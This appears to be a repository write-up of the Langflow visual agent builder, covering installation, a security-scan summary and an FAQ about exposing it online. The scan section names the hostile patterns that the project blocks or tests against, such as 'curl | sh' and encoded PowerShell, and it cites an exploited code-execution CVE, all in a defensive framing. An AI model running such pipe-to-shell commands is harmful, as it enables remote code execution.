Langflow: Build AI Agents on a Visual Canvas (GitHub, Scanned)

Langflow is a visual builder for LLM applications. Components (models, prompts, vector stores, retrievers, agents, tools) sit on a canvas and you wire them into a flow, test it step by step in a built-in playground, then serve it: every flow is callable over a REST API and can be exposed as an MCP server, so Claude Desktop, Cursor or any other MCP client can use it as a tool. Each component is plain Python you can open and edit in place.

It is here because it is the most popular of the code-first visual builders and because the Python escape hatch is real rather than an afterthought. It is MIT-licensed, maintained by DataStax (now part of IBM) with close to 400 contributors, and ships as a pip package, a Docker image and a desktop app for macOS and Windows. The same ability to run custom Python is what makes it important to keep an instance off the open internet.

• Repository: github.com/langflow-ai/langflow
• Licence: MIT (MIT License)
• Language: Python. Stars: 155.3K. Forks: 10.2K. Last push: Sep 27, 2026.
• Scan: safe, Sep 22, 2026, commit df9711c

Who it is for

Developers prototyping agents and RAG pipelines who want to see the data move between steps, teams who need to hand a working flow to an app as an API or MCP tool, and Python users who find pure no-code tools too confining.

Getting started

1. Install with uv (needs Python 3.10 to 3.14; Langflow Desktop is the no-setup option)

uv pip install langflow -U

2. Start it, then open http://127.0.0.1:7860

uv run langflow run

3. Or run the Docker image

docker run -p 7860:7860 langflowai/langflow:latest

Safety scan

We cloned langflow-ai/langflow at commit df9711c on Sep 22, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

• 42 secret-shaped strings, none real: sample PEM keys and fake tokens in tests, PEM placeholders in the JWT authentication docs (repeated across five versioned copies), and the MongoDB Atlas component's help text showing the certificate format, translated into six locale files.
• The six pattern hits are defenses, not attacks. The reverse-shell regex sits in the guardrails component, which blocks such commands, and the curl | sh and encoded-PowerShell strings are test cases proving the MCP launcher rejects them. The bare-IP URLs are SSRF-protection tests.
• No npm install hooks, no setup.py and no committed binaries. The eleven shell scripts the scanner lists are Docker entrypoints, a script that pins a hardened npm inside the image, doc examples calling the API, and GCP deployment helpers; none uses sudo or pipes a download to a shell.
• All 96 known advisories sit in docs/package-lock.json, the documentation site's build, which never ships. The front end's 1,559 npm packages have none. The Python side was barely checked: the scanner resolved only 4 packages from a uv.lock that lists over 800.
• 49 workflows; three use pull_request_target (labelers and a test-timing job) and none checks out the pull request. Only 4 of 142 third-party actions are pinned to a commit, the weakest ratio in this batch. Security policy, Dependabot, CodeQL and code of conduct present.

What the scanner counted

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

By the numbers

Lines by language: Python 850.8K, TypeScript 345.7K, JSON 308.5K, Markdown 221.8K, JavaScript 45.3K, YAML 14.3K.

Questions

Is Langflow free?

Yes. Langflow is MIT-licensed, so you can self-host it, modify it and use it commercially without paying anyone. Langflow Desktop is a free download for macOS and Windows. You pay only for the model APIs you connect, or nothing if you point it at a local model through Ollama or another OpenAI-compatible server.

Is it safe to expose Langflow to the internet?

Not without care. Langflow executes Python by design, and in 2025 an unauthenticated code-execution flaw in versions before 1.3.0 (CVE-2025-3248) was exploited in the wild. Run a current release, turn on authentication, and put it behind a VPN or a reverse proxy with its own login rather than publishing port 7860.

What is the difference between Langflow and n8n?

Langflow is built for the AI part: composing models, retrieval and agents, then serving the result as an API or MCP tool. n8n is built for automation across business apps, with AI as one kind of step. Many teams use both, calling a Langflow flow from an n8n workflow over HTTP.

This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.